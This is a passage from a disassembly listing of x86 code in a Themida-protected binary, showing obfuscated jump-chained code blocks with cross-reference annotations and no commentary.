					; Themida_:005A3DA9j
		jz	loc_5A765C
		jmp	loc_5A1396
; ---------------------------------------------------------------------------


loc_5A9C9B:				; CODE XREF: Themida_:loc_598C19j
		lodsd
		sub	esp, 4
		mov	[esp], ebp
		push	38784511h
		mov	ebp, [esp]
		push	eax
		mov	eax, esp
		push	ebx
		jmp	loc_5A9094
; ---------------------------------------------------------------------------


loc_5A9CB6:				; CODE XREF: Themida_:0059F9D5j
		mov	eax, ebp
		pop	ebp
		jmp	loc_5993DA
; ---------------------------------------------------------------------------


loc_5A9CBE:				; CODE XREF: Themida_:005A63E4j
		and	eax, 12617D03h
		or	eax, 11E1BFAh
		shl	eax, 5
		jmp	loc_59B972
; ---------------------------------------------------------------------------


loc_5A9CD0:				; CODE XREF: Themida_:loc_5A6916j
		sub	ebp, 65002378h
		jmp	loc_5A63C1
; ---------------------------------------------------------------------------
		mov	esp, [esp]
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_5A9CE3:				; CODE XREF: Themida_:0059BF91j
		mov	[esp], edi
		push	esp
		push	dword ptr [esp]
		mov	edi, [esp]
		sub	esp, 4
		jmp	loc_5A3643
; ---------------------------------------------------------------------------


loc_5A9CF5:				; CODE XREF: Themida_:005A39D8j
		add	edi, ecx
		pop	ecx
		push	edx
		mov	edx, 69E47673h
		jmp	loc_5AD4EF
; ---------------------------------------------------------------------------


loc_5A9D03:				; CODE XREF: Themida_:005A1370j
		shr	esi, 5
		jmp	loc_5A134B
; ---------------------------------------------------------------------------


loc_5A9D0B:				; CODE XREF: Themida_:0059E68Fj
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		push	ebx
		sub	esp, 4
		mov	[esp], ebp
		push	esi
		mov	esi, 5B004CEBh
		push	ecx
		mov	ecx, 1C1D28FDh
		mov	ebp, ecx
		pop	ecx
		sub	ebp, 0F190B86h
		add	ebp, esi
		add	ebp, 0F190B86h
		mov	esi, [esp]
		jmp	loc_59BB71
; ---------------------------------------------------------------------------


loc_5A9D44:				; CODE XREF: Themida_:loc_59E954j
		add	ebx, 565F77A1h
		jmp	loc_59C133
; ---------------------------------------------------------------------------


loc_5A9D4F:				; CODE XREF: Themida_:005ABB77j
		sub	dl, 1
		jmp	loc_5A616C
; ---------------------------------------------------------------------------


loc_5A9D57:				; CODE XREF: Themida_:0059D42Dj
		inc	ah
		add	ah, 0E7h
		sub	cl, ah
		pop	eax
		xor	cl, 0C6h
		sub	bl, cl
		pop	ecx
		jmp	loc_598793
; ---------------------------------------------------------------------------


loc_5A9D6A:				; CODE XREF: Themida_:00599771j
		mov	ebp, 66DD34ADh
		sub	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_599BE2
; ---------------------------------------------------------------------------


loc_5A9D7F:				; CODE XREF: Themida_:loc_5A7D38j
		inc	ebx
		jmp	loc_5ABE17
; ---------------------------------------------------------------------------


loc_5A9D85:				; CODE XREF: Themida_:005A6C10j
		jz	loc_59A9D0
		add	eax, 0B90A6871h
		mov	ebp, eax
		jmp	loc_5A9C82
; ---------------------------------------------------------------------------


loc_5A9D97:				; CODE XREF: Themida_:0059ABD0j
					; Themida_:0059FB85j
		pop	edi
		push	2915h
		mov	[esp], ebp
		jmp	loc_5A2E89
; ---------------------------------------------------------------------------


loc_5A9DA5:				; CODE XREF: Themida_:0059914Dj
		pop	ebx
		push	edx
		mov	edx, 4
		push	esi
		mov	esi, 14895E74h
		push	ebx
		mov	ebx, 3CED71B9h
		sub	esi, ebx
		pop	ebx
		sub	esi, 1D3A081Ch
		jmp	loc_5A857C
; ---------------------------------------------------------------------------


loc_5A9DC6:				; CODE XREF: Themida_:005AE8F5j
		mov	[esp], ecx
		push	60E1h
		mov	[esp], ebp
		mov	ebp, 795F2983h
		add	ebp, 1
		push	edi
		mov	edi, 2FC10CA9h
		dec	edi
		shr	edi, 2
		add	edi, 6D6EE65Ch
		xor	ebp, edi
		pop	edi
		mov	ecx, ebp
		mov	ebp, [esp]
		push	35F1h
		mov	[esp], edi
		mov	edi, esp
		push	ebx
		mov	ebx, 4
		add	edi, ebx
		pop	ebx
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_59F7B3
; ---------------------------------------------------------------------------


loc_5A9E16:				; CODE XREF: Themida_:005A9704j
		or	ebx, 6C8414FCh
		jz	loc_5A44B3
		not	ebx
		add	ebx, 0B7C4B0F8h
		push	ebx
		jmp	loc_5AD05B
; ---------------------------------------------------------------------------


loc_5A9E30:				; CODE XREF: Themida_:005987FDj
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_5A2DE8
; ---------------------------------------------------------------------------


loc_5A9E3B:				; CODE XREF: Themida_:005AE5B6j
		add	word ptr [esp+2], 3D96h
		push	bp
		jmp	loc_59EAE0
; ---------------------------------------------------------------------------


loc_5A9E49:				; CODE XREF: Themida_:loc_5A7794j
					; Themida_:005AB6AEj ...
		pop	esp
		shr	eax, 12h
		xor	eax, ecx
		sub	esp, 4
		mov	[esp], eax
		push	ebp
		push	dword ptr [esp+4]
		jmp	loc_59F16F
; ---------------------------------------------------------------------------


loc_5A9E5F:				; CODE XREF: Themida_:005A0890j
		pop	edi
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], eax
		mov	eax, 60765728h
		not	eax
		add	eax, 0C810EE5Eh
		sub	ecx, eax
		pop	eax
		add	edx, ecx
		mov	ecx, [esp]
		jmp	loc_598FF8
; ---------------------------------------------------------------------------


loc_5A9E89:				; CODE XREF: Themida_:005A36EDj
		pop	edx
		add	eax, edx
		jmp	loc_5AA8CA
; ---------------------------------------------------------------------------


loc_5A9E91:				; CODE XREF: Themida_:005A8D75j
		sub	eax, ebp
		add	eax, 6E231FFDh
		jmp	loc_59C96C
; ---------------------------------------------------------------------------


loc_5A9E9D:				; CODE XREF: Themida_:005AE687j
		mov	[esp], edx
		push	esp
		pop	edx
		jmp	loc_59B3A3
; ---------------------------------------------------------------------------


loc_5A9EA7:				; CODE XREF: Themida_:005AD4EAj
		xor	eax, ecx
		jmp	loc_5A57C5
; ---------------------------------------------------------------------------


loc_5A9EAE:				; CODE XREF: Themida_:loc_5A614Cj
		xor	bl, 19h
		jmp	loc_5A8803
; ---------------------------------------------------------------------------


loc_5A9EB6:				; CODE XREF: Themida_:loc_59A35Cj
		dec	ebx
		jno	loc_5A6911
		jmp	loc_59ADA7
; ---------------------------------------------------------------------------
		jmp	loc_59F46F
; ---------------------------------------------------------------------------
		push	ebx


loc_5A9EC8:				; CODE XREF: Themida_:005AB41Cj
		add	esp, 4
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		pop	dword ptr [esp]
		push	ebp
		jmp	loc_59927B
; ---------------------------------------------------------------------------


loc_5A9EDE:				; CODE XREF: Themida_:0059FFB6j
		sub	eax, ecx
		sub	eax, 9F81A20h
		pop	ecx
		sub	ebp, 1AED1D47h
		sub	ebp, 211A5681h
		add	ebp, eax
		add	ebp, 211A5681h
		add	ebp, 1AED1D47h
		pop	eax
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		jmp	loc_5A530A
; ---------------------------------------------------------------------------


loc_5A9F0F:				; CODE XREF: Themida_:00599788j
		add	edi, ebp
		mov	ebp, [esp]
		push	ebp
		jmp	loc_5A8477
; ---------------------------------------------------------------------------


loc_5A9F1A:				; CODE XREF: Themida_:005A8666j
		mov	ebx, 4BBA00C5h
		jmp	loc_5ABD72
; ---------------------------------------------------------------------------


loc_5A9F24:				; CODE XREF: Themida_:005AC667j
		add	edx, 32B101F7h
		push	ebp
		mov	ebp, 4DB8228Bh
		jmp	loc_5A2DA8
; ---------------------------------------------------------------------------


loc_5A9F35:				; CODE XREF: Themida_:005AB22Dj
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_59D327
; ---------------------------------------------------------------------------


loc_5A9F4C:				; CODE XREF: Themida_:005989C2j
		pop	eax
		push	53h
		mov	[esp], esi
		mov	esi, 8650A23h
		sub	ebp, esi
		pop	esi
		sub	ebp, edi
		add	ebp, 8650A23h
		jmp	loc_5A36F7
; ---------------------------------------------------------------------------


loc_5A9F6A:				; CODE XREF: Themida_:005A1CC1j
		push	edx
		push	esp
		pop	edx
		jmp	loc_5ACE7C
; ---------------------------------------------------------------------------


loc_5A9F72:				; CODE XREF: Themida_:005ACE77j
		mov	ax, [esp]
		push	1E87h
		mov	[esp], ebp
		jmp	loc_5A0E9A
; ---------------------------------------------------------------------------


loc_5A9F83:				; CODE XREF: Themida_:005A9852j
		pop	eax
		jmp	loc_599F16
; ---------------------------------------------------------------------------


loc_5A9F89:				; CODE XREF: Themida_:005A8931j
		xor	ebp, 5C956FBEh
		jno	loc_5A7B58
		or	ebp, 49694785h
		jo	loc_5A2DFA
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcl	byte ptr [esp],	cl
		pushf
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_5A9FB0:				; CODE XREF: Themida_:loc_5A6C2Cj
		and	esi, 397391Bh
		jnz	loc_5A0F6E
		not	esi
		push	ebx
		mov	ebx, 0FF7FFEF9h
		xor	esi, ebx
		mov	ebx, [esp]


loc_5A9FC9:				; CODE XREF: Themida_:005ADFC7j
		xor	ebx, ecx
		not	ecx
		xor	ebx, ecx
		xor	ecx, ebx
		xor	ebx, ecx
		push	60F0h
		mov	[esp], esi
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_5A74B1
; ---------------------------------------------------------------------------


loc_5A9FE9:				; CODE XREF: Themida_:005AD8D3j
		mov	[esp], ebp
		jmp	loc_5AA15D
; ---------------------------------------------------------------------------


loc_5A9FF1:				; CODE XREF: Themida_:005A2250j
		sub	esp, 4
		mov	[esp], esp
		jmp	loc_59E7B3
; ---------------------------------------------------------------------------


loc_5A9FFF:				; CODE XREF: Themida_:005AB05Ej
		add	ecx, ebp
		pop	ebp
		push	esi
		sub	esp, 4
		jmp	loc_5A5E44
; ---------------------------------------------------------------------------


loc_5AA00E:				; CODE XREF: Themida_:005ACA19j
		push	edx
		jmp	loc_5AC13C
; ---------------------------------------------------------------------------


loc_5AA014:				; CODE XREF: Themida_:005ADA62j
		mov	ebx, 4
		add	eax, 2D77484Dh
		add	eax, ebx
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 2D77484Dh
		sub	eax, esi
		pop	esi
		pop	ebx
		jmp	loc_5A5BB3
; ---------------------------------------------------------------------------


loc_5AA037:				; CODE XREF: Themida_:loc_5A727Ej
		add	al, 85h
		and	al, 9Eh
		jmp	loc_5A7510
; ---------------------------------------------------------------------------


loc_5AA040:				; CODE XREF: Themida_:0059C8AFj
					; Themida_:005AB5E9j
		sub	eax, esi
		pop	esi
		add	eax, 3A4F1A7Dh
		jmp	loc_5A2C28
; ---------------------------------------------------------------------------


loc_5AA04D:				; CODE XREF: Themida_:005AECF2j
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_5987B9
; ---------------------------------------------------------------------------


loc_5AA062:				; CODE XREF: Themida_:005A3660j
		mov	eax, 342E3272h
		add	esi, eax
		pop	eax
		pop	eax
		xchg	esi, [esp]
		mov	esp, [esp]
		div	ecx
		jmp	loc_5A4CAA
; ---------------------------------------------------------------------------


loc_5AA078:				; CODE XREF: Themida_:0059D595j
		jnz	loc_599BD5
		xor	ebx, 60763E99h
		mov	ebp, ebx
		jmp	loc_5A1EB4
; ---------------------------------------------------------------------------


loc_5AA08B:				; CODE XREF: Themida_:005A1D73j
		pop	esi
		push	3CBCh
		mov	[esp], ebp
		mov	ebp, edx
		jmp	loc_5AC767
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		jmp	loc_5A72BB
; ---------------------------------------------------------------------------


loc_5AA0A4:				; CODE XREF: Themida_:005A3F0Fj
					; Themida_:005AC827j
		xchg	esi, [esp]
		jmp	loc_5A930D
; ---------------------------------------------------------------------------


loc_5AA0AC:				; CODE XREF: Themida_:005A912Aj
		mov	ah, 5Eh
		add	bl, ah
		pop	eax
		add	bl, 0F3h
		add	bl, al
		push	ecx
		push	eax
		mov	al, 62h
		sub	al, 31h
		jb	loc_5ACCFA
		inc	al
		jo	loc_5A495A
		or	al, 0A2h
		jp	loc_5A46B4
		or	al, 5Bh
		jns	loc_5AF205
		dec	al


loc_5AA0DC:				; CODE XREF: Themida_:0059BFDDj
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], esi
		pop	ecx
		pop	esi
		xor	eax, ecx
		jmp	loc_5ACF73
; ---------------------------------------------------------------------------


loc_5AA0F8:				; CODE XREF: Themida_:005A07D6j
		add	edx, 506A2FC0h
		push	esi
		mov	esi, 1DFA2BBBh
		sub	edx, esi
		pop	esi
		add	edx, ecx
		add	edx, 1DFA2BBBh
		sub	edx, 506A2FC0h
		pop	ecx
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		xchg	eax, [esp]
		jmp	loc_59BAD7
; ---------------------------------------------------------------------------


loc_5AA125:				; CODE XREF: Themida_:0059E0B3j
		sub	ecx, 0FFFFFFFFh
		xor	ecx, 17E60F97h
		mov	ebx, ecx
		pop	ecx
		sub	ebx, 10362941h
		jge	loc_59E954
		jmp	loc_59A850
; ---------------------------------------------------------------------------
		pop	ebp
		add	edi, 0AD6CD5ECh
		mov	ah, 0A6h
		pop	ecx


loc_5AA14F:				; CODE XREF: Themida_:005A2650j
		add	eax, edx
		pop	edx
		xchg	eax, [esp]
		mov	esp, [esp]
		jmp	loc_5AA9CB
; ---------------------------------------------------------------------------


loc_5AA15D:				; CODE XREF: Themida_:005A9FECj
		push	esp
		jmp	loc_5AF4B4
; ---------------------------------------------------------------------------


loc_5AA163:				; CODE XREF: Themida_:005A1BCDj
		mov	[esp], ebp
		push	0F78h
		mov	[esp], ebx
		jmp	loc_59FA73
; ---------------------------------------------------------------------------


loc_5AA173:				; CODE XREF: Themida_:005AAC16j
		push	5A11h
		jmp	loc_59AC50
; ---------------------------------------------------------------------------


loc_5AA17D:				; CODE XREF: Themida_:005A4949j
					; Themida_:005A8AEDj
		mov	dh, ah
		mov	cl, dh
		pop	edx
		pop	eax
		and	bh, cl
		jmp	loc_5AB490
; ---------------------------------------------------------------------------


loc_5AA18A:				; CODE XREF: Themida_:00599304j
		sub	edi, 0BA4EAB4Ch
		jmp	loc_5ABE17
; ---------------------------------------------------------------------------


loc_5AA195:				; CODE XREF: Themida_:0059BD9Aj
		mov	esi, [esp]
		add	esp, 4
		xor	esi, 396819B8h
		mov	[edi+20h], esi
		mov	esi, [esp]
		add	esp, 4
		neg	dword ptr [edi+20h]
		jle	loc_5A4783
		push	eax
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_5AB966
; ---------------------------------------------------------------------------


loc_5AA1C5:				; CODE XREF: Themida_:005A456Ej
		push	70D1h
		mov	[esp], edx
		push	ecx
		mov	ch, 0CCh
		sub	ch, 5Fh
		and	ch, 0BEh
		jbe	loc_59ADC8
		add	ch, 77h
		not	ch
		jmp	loc_5A1540
; ---------------------------------------------------------------------------


loc_5AA1E6:				; CODE XREF: Themida_:005A67DAj
		sub	esi, 0D9A4F25h
		xor	edx, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_5A1FBD
; ---------------------------------------------------------------------------


loc_5AA1F9:				; CODE XREF: Themida_:0059A52Ej
		sub	eax, 14FB6FCDh
		jmp	loc_5A7F13
; ---------------------------------------------------------------------------


loc_5AA203:				; CODE XREF: Themida_:005A9398j
		add	edi, 822DB06Eh
		add	ebp, 7F920035h
		jmp	loc_59A425
; ---------------------------------------------------------------------------


loc_5AA214:				; CODE XREF: Themida_:005AD881j
		push	edx
		mov	edx, 1
		add	ebx, edx
		jmp	loc_59A054
; ---------------------------------------------------------------------------


loc_5AA221:				; CODE XREF: Themida_:005A44A1j
		jmp	loc_5AF1BD
; ---------------------------------------------------------------------------


loc_5AA226:				; CODE XREF: Themida_:005A3199j
		push	edi
		mov	edi, esp
		push	ebp
		mov	ebp, 4
		sub	edi, 74DC6854h
		sub	edi, 22DB2796h
		add	edi, ebp
		add	edi, 22DB2796h
		jmp	loc_5A21A4
; ---------------------------------------------------------------------------


loc_5AA248:				; CODE XREF: Themida_:005A6719j
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		jmp	loc_59C532
; ---------------------------------------------------------------------------


loc_5AA25B:				; CODE XREF: Themida_:005AB75Dj
		add	esp, 4
		xor	ebx, eax
		jmp	loc_5AA4F9
; ---------------------------------------------------------------------------


loc_5AA268:				; CODE XREF: Themida_:005A041Cj
		xor	ebx, [esp]
		xor	[esp], ebx
		jmp	loc_5A0D0C
; ---------------------------------------------------------------------------


loc_5AA273:				; CODE XREF: Themida_:00599A6Bj
		push	dword ptr [esp]
		pop	ebx
		push	0AF8h
		mov	[esp], edx
		mov	edx, esp
		jmp	loc_59E109
; ---------------------------------------------------------------------------


loc_5AA286:				; CODE XREF: Themida_:005AC39Fj
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	loc_5988CC
; ---------------------------------------------------------------------------


loc_5AA297:				; CODE XREF: Themida_:005A44F8j
		jo	loc_59B23A
		jmp	loc_5A1652
; ---------------------------------------------------------------------------
		lodsb
		jmp	loc_5A456D
; ---------------------------------------------------------------------------


loc_5AA2A8:				; CODE XREF: Themida_:0059909Ej
		pop	ecx
		and	ecx, 6CBD0FB0h
		xor	ecx, 23117777h
		sub	eax, ecx
		pop	ecx
		add	eax, ebx
		jmp	loc_5A33A4
; ---------------------------------------------------------------------------


loc_5AA2BF:				; CODE XREF: Themida_:005998B0j
		jg	loc_5A332E
		jmp	loc_5A89EA
; ---------------------------------------------------------------------------
		push	ebp
		jmp	loc_5A4D39
; ---------------------------------------------------------------------------
		pop	ebx


loc_5AA2D1:				; CODE XREF: Themida_:005A0610j
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5A55F0
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		jmp	loc_5A59A9
; ---------------------------------------------------------------------------


loc_5AA2E6:				; CODE XREF: Themida_:005A278Fj
		pop	edi
		push	dword ptr [esp]
		jmp	loc_59CE22
; ---------------------------------------------------------------------------


loc_5AA2EF:				; CODE XREF: Themida_:005AB100j
		pop	esi
		push	eax
		mov	eax, 23427930h
		sub	ebx, eax
		jmp	loc_5AE58F
; ---------------------------------------------------------------------------


loc_5AA2FD:				; CODE XREF: Themida_:005AD3AFj
		js	loc_59BB7F
		shl	edi, 5
		jns	loc_5A6C96
		mov	bh, dh
		add	al, 1


loc_5AA310:				; CODE XREF: Themida_:00599F75j
		mov	edx, 76427087h
		jmp	loc_59A298
; ---------------------------------------------------------------------------


loc_5AA31A:				; CODE XREF: Themida_:005A9B50j
		push	esi
		mov	esi, 1CCD862h
		add	edx, esi
		pop	esi
		sub	ecx, edx
		pop	edx
		sub	ebp, ecx
		pop	ecx
		add	ebp, edi
		add	ebp, 34A47916h
		mov	edi, [esp]
		jmp	loc_5AE368
; ---------------------------------------------------------------------------


loc_5AA339:				; CODE XREF: Themida_:005A7B05j
		mov	ecx, [esp]
		add	esp, 4
		push	4465h
		mov	[esp], edi
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_5A7440
; ---------------------------------------------------------------------------


loc_5AA352:				; CODE XREF: Themida_:0059AE2Aj
		push	38DCh
		mov	[esp], eax
		mov	ah, 88h
		push	ax
		xchg	bl, [esp+1]
		not	bl
		jmp	loc_5AF497
; ---------------------------------------------------------------------------


loc_5AA369:				; CODE XREF: Themida_:005AF4D4j
		push	edx
		mov	edx, esp
		jmp	loc_5ADD06
; ---------------------------------------------------------------------------


loc_5AA371:				; CODE XREF: Themida_:005A4ACBj
		add	esp, 4
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_59FBA0
; ---------------------------------------------------------------------------


loc_5AA382:				; CODE XREF: Themida_:005A1F75j
		mov	[esp], edi
		mov	edi, 73B4C40h
		shl	edi, 2
		or	edi, 6F380851h
		and	edi, 376E1894h
		push	ebx
		jmp	loc_59B137
; ---------------------------------------------------------------------------


loc_5AA39F:				; CODE XREF: Themida_:005A0DC9j
		shl	eax, 5
		shr	eax, 8
		add	eax, 24483290h
		sub	eax, 0B1331EFBh
		xor	ebp, eax
		pop	eax
		neg	ebp
		jmp	loc_5A46F7
; ---------------------------------------------------------------------------


loc_5AA3B9:				; CODE XREF: Themida_:005ACFD4j
		mov	edx, ecx
		pop	ecx
		jmp	loc_599F55
; ---------------------------------------------------------------------------


loc_5AA3C1:				; CODE XREF: Themida_:005A0A99j
		mov	edi, 4
		add	esi, edi
		mov	edi, [esp]
		push	7143h
		mov	[esp], edx
		jmp	loc_5AC180
; ---------------------------------------------------------------------------


loc_5AA3D8:				; CODE XREF: Themida_:005A98CDj
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ebp
		push	5A10h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebp
		push	ebx
		push	ebp
		mov	ebp, 4
		push	ebp
		sub	dword ptr [esp], 18A52A89h
		pop	ebx
		push	ebp
		mov	ebp, 18A52A89h
		add	ebx, ebp
		pop	ebp
		jmp	loc_5A6DA4
; ---------------------------------------------------------------------------


loc_5AA410:				; CODE XREF: Themida_:loc_5A194Fj
		sub	esi, 58FCF9A3h
		jmp	loc_5AD96F
; ---------------------------------------------------------------------------


loc_5AA41B:				; CODE XREF: Themida_:005A5861j
		add	esi, 6829181Bh
		push	dword ptr [esp]
		jmp	loc_59D620
; ---------------------------------------------------------------------------


loc_5AA429:				; CODE XREF: Themida_:005A2EF7j
		push	esp
		pop	ebp
		push	3A2Bh
		mov	[esp], edx
		push	676Ah
		mov	[esp], esi
		mov	esi, 1AE036BAh
		push	720Ch
		mov	[esp], ebp
		jmp	loc_59BD1C
; ---------------------------------------------------------------------------


loc_5AA44D:				; CODE XREF: Themida_:005A9775j
		push	ebp
		jmp	loc_5A00D0
; ---------------------------------------------------------------------------


loc_5AA453:				; CODE XREF: Themida_:0059DD5Cj
		or	eax, 7B651D28h
		xor	eax, 804095h
		add	esi, eax
		pop	eax
		xor	esi, 3A12BBEh
		add	edx, esi
		pop	esi
		jmp	loc_59AA7A
; ---------------------------------------------------------------------------


loc_5AA46E:				; CODE XREF: Themida_:005A07E1j
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_5AA473:				; CODE XREF: Themida_:005A52BAj
		jmp	loc_5A39F0
; ---------------------------------------------------------------------------


loc_5AA478:				; CODE XREF: Themida_:005A2B0Cj
		add	[esp+4], edi
		mov	edi, [esp]
		push	edi
		push	esp
		pop	edi
		jmp	loc_5A4686
; ---------------------------------------------------------------------------


loc_5AA487:				; CODE XREF: Themida_:0059FED0j
		mov	ecx, 4
		jmp	loc_59D5AE
; ---------------------------------------------------------------------------


loc_5AA491:				; CODE XREF: Themida_:005ADB38j
		xor	esi, eax
		pop	eax
		push	edi
		jmp	loc_598D6B
; ---------------------------------------------------------------------------


loc_5AA49A:				; CODE XREF: Themida_:005AB096j
					; Themida_:005AD846j
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_5AA49F:				; CODE XREF: Themida_:005A2B5Cj
		pop	bx
		push	ecx
		mov	cl, 1Eh
		push	ebx
		jmp	loc_5A9BF4
; ---------------------------------------------------------------------------


loc_5AA4AA:				; CODE XREF: Themida_:005AD5A0j
		mov	esi, 5B7656CAh
		add	esi, 0A489A937h
		and	eax, esi
		push	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_59EB15
; ---------------------------------------------------------------------------


loc_5AA4C8:				; CODE XREF: Themida_:005A5387j
		pop	esi
		pop	dword ptr [esp]
		pop	esp
		push	dword ptr [esp]
		pop	eax
		push	edi
		push	esp
		pop	edi
		push	eax
		mov	eax, 5B9602D3h
		jmp	loc_59E3AE
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_5AA609
; ---------------------------------------------------------------------------


loc_5AA4F9:				; CODE XREF: Themida_:005AA263j
		push	small word ptr [eax]
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_5AA501:				; CODE XREF: Themida_:005AACA8j
		mov	[esp], eax
		push	ebx
		jmp	loc_59C7B2
; ---------------------------------------------------------------------------


loc_5AA50A:				; CODE XREF: Themida_:005A9211j
		add	esp, 4
		push	ebx
		mov	ebx, 43F63D03h
		and	ebx, 2736679Dh
		jnb	loc_5A8576
		push	ecx
		jmp	loc_59E89A
; ---------------------------------------------------------------------------
		and	esi, 4A7829BAh
		push	esi


loc_5AA52F:				; CODE XREF: Themida_:0059C6C4j
		xor	ecx, 2B50F99Dh
		jmp	loc_5A7B03
; ---------------------------------------------------------------------------


loc_5AA53A:				; CODE XREF: Themida_:0059DE9Aj
					; Themida_:005A53E4j
		pop	ecx
		mov	ecx, edi
		mov	edi, [esp]
		add	esp, 4
		push	eax
		mov	eax, 40496A21h
		add	eax, 67654108h
		shr	eax, 7
		neg	eax
		add	eax, 6B064F36h
		add	eax, 7C8B0C2Ah
		mov	esi, eax
		pop	eax
		add	esi, ecx
		pop	ecx
		shr	esi, 8
		or	esi, 59D724CEh
		sub	esi, 1
		jmp	loc_59BF96
; ---------------------------------------------------------------------------


loc_5AA574:				; CODE XREF: Themida_:005AE841j
		push	dword ptr [esp]
		pop	edx
		jmp	loc_5AF23B
; ---------------------------------------------------------------------------


loc_5AA57D:				; CODE XREF: Themida_:005997F1j
		mov	eax, esp
		jmp	loc_5A57EA
; ---------------------------------------------------------------------------


loc_5AA584:				; CODE XREF: Themida_:loc_5A085Aj
		neg	ebp
		jbe	loc_5A9B2B
		push	eax
		mov	eax, 0CEB7AB35h
		xor	ebp, eax
		pop	eax
		mov	edx, ebp
		mov	ebp, ecx


loc_5AA599:				; CODE XREF: Themida_:005AF076j
		mov	ebp, 56E95F0Ah
		sub	ebp, 56E95F06h
		mov	eax, ebp
		pop	ebp
		sub	esi, eax
		jmp	loc_599DF0
; ---------------------------------------------------------------------------


loc_5AA5AE:				; CODE XREF: Themida_:005A7D9Dj
		mov	ecx, 546E19CBh
		and	ecx, 12E329E0h
		and	ecx, 3C4A58A3h
		jmp	loc_598C1E
; ---------------------------------------------------------------------------


loc_5AA5C4:				; CODE XREF: Themida_:005A73F2j
		pop	esi
		jmp	loc_59C147
; ---------------------------------------------------------------------------


loc_5AA5CA:				; CODE XREF: Themida_:005A3F40j
		jl	loc_59BAF9
		sub	eax, 8F87E65Bh
		mov	ebp, eax
		pop	eax
		push	ebx
		push	eax
		mov	eax, 433C5957h
		mov	ebx, eax
		jmp	loc_5A5453
; ---------------------------------------------------------------------------


loc_5AA5E6:				; CODE XREF: Themida_:005A4E85j
		sub	edi, esi
		jmp	loc_59EE4D
; ---------------------------------------------------------------------------


loc_5AA5ED:				; CODE XREF: Themida_:005A1B38j
		add	ecx, ebp
		pop	ebp
		push	eax
		mov	eax, 368929B2h
		jmp	loc_59B65C
; ---------------------------------------------------------------------------


loc_5AA5FB:				; CODE XREF: Themida_:005A7469j
		or	ebx, eax
		pop	eax
		add	ebx, 8400E01Ah
		jmp	loc_5AE524
; ---------------------------------------------------------------------------


loc_5AA609:				; CODE XREF: Themida_:005AA4F4j
		push	6883h
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		jmp	loc_59DCC0
; ---------------------------------------------------------------------------


loc_5AA61B:				; CODE XREF: Themida_:005AD700j
		or	ebx, eax
		jmp	loc_5A881E
; ---------------------------------------------------------------------------


loc_5AA622:				; CODE XREF: Themida_:0059CA6Aj
		push	esi
		jmp	loc_5A53CC
; ---------------------------------------------------------------------------


loc_5AA628:				; CODE XREF: Themida_:005A0DE5j
		push	edi
		mov	edi, 4
		add	ebx, edi
		pop	edi
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], ecx
		push	esp
		pop	ecx
		jmp	loc_5A4C82
; ---------------------------------------------------------------------------


loc_5AA648:				; CODE XREF: Themida_:005A68B5j
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_5A3AB2
; ---------------------------------------------------------------------------


loc_5AA651:				; CODE XREF: Themida_:0059B382j
		add	cl, bl
		sub	cl, 44h
		jmp	loc_59952A
; ---------------------------------------------------------------------------


loc_5AA65B:				; CODE XREF: Themida_:0059E2E0j
		add	ebx, 3A9931B0h
		sub	eax, ebx
		pop	ebx
		push	0AEFh
		mov	[esp], edi
		jmp	loc_5AB06A
; ---------------------------------------------------------------------------


loc_5AA671:				; CODE XREF: Themida_:005A73B7j
		mov	esi, [esp]
		add	esp, 4
		not	ecx
		push	edi
		mov	edi, 0C762B3Eh
		jmp	loc_59CB05
; ---------------------------------------------------------------------------
		push	5109h
		push	7045h
		push	esp
		pop	dword ptr [esp]
		push	ebp
		push	edi
		mov	edi, 4
		mov	ebp, edi
		pop	edi
		sub	dword ptr [esp+4], 2DA3138Bh
		add	dword ptr [esp+4], 6B530916h
		add	[esp+4], ebp
		sub	dword ptr [esp+4], 6B530916h
		add	dword ptr [esp+4], 2DA3138Bh
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_598B66
; ---------------------------------------------------------------------------


loc_5AA6D2:				; CODE XREF: Themida_:005A712Aj
		mov	edx, esp
		add	edx, 4
		push	ebp
		mov	ebp, 4
		add	edx, ebp
		jmp	loc_5A513D
; ---------------------------------------------------------------------------


loc_5AA6E7:				; CODE XREF: Themida_:005A61E1j
